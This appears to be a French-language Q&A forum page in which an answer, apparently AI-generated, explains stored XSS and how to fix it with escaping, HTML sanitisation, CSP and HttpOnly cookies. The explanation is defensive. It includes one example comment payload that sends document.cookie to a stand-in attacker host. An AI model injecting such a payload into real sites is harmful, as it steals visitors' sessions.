Qu'est-ce qu'une faille XSS et comment m'en protéger ?
poze 4 months ago461 gadefr
Un audit a trouvé une « XSS stockée » dans les commentaires de notre site. Je ne comprends pas bien le risque ni la correction.
Dyagnostik IA
Se IA ki fè l. Se pa yon repons — kominote a anba a konfime oswa korije l. Toujou verifye anvan ou fye l.
1 Repons
Une XSS (*cross-site scripting*), c'est quand un attaquant arrive à faire exécuter son JavaScript dans le navigateur d'autres utilisateurs, sur ton site. « Stockée » : le script est enregistré (dans un commentaire, par exemple) et s'exécute chez chaque visiteur qui l'affiche. Il agit alors en leur nom : actions, lecture de données, faux formulaires.
Exemple de commentaire malveillant :
<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
Protections : 1. Échapper à l'affichage : les frameworks (React, Vue, les templates Blade/Jinja) échappent par défaut. La faille vient presque toujours d'un contournement : dangerouslySetInnerHTML, v-html, {!! !!}, innerHTML. 2. Si tu dois afficher du HTML (Markdown rendu, éditeur riche) : assainis-le côté serveur avec une liste blanche (DOMPurify, sanitize-html, bleach). 3. Content Security Policy : interdit les scripts inline et les domaines inconnus. C'est une défense en profondeur si une faille passe. 4. Cookies HttpOnly, pour que le script ne puisse pas lire la session.
Corrige la faille, puis cherche dans tout le code les autres usages de innerHTML et de ses équivalents.
Konekte pou di lòt moun si li te mache.
Sign in and verify your email to post an answer.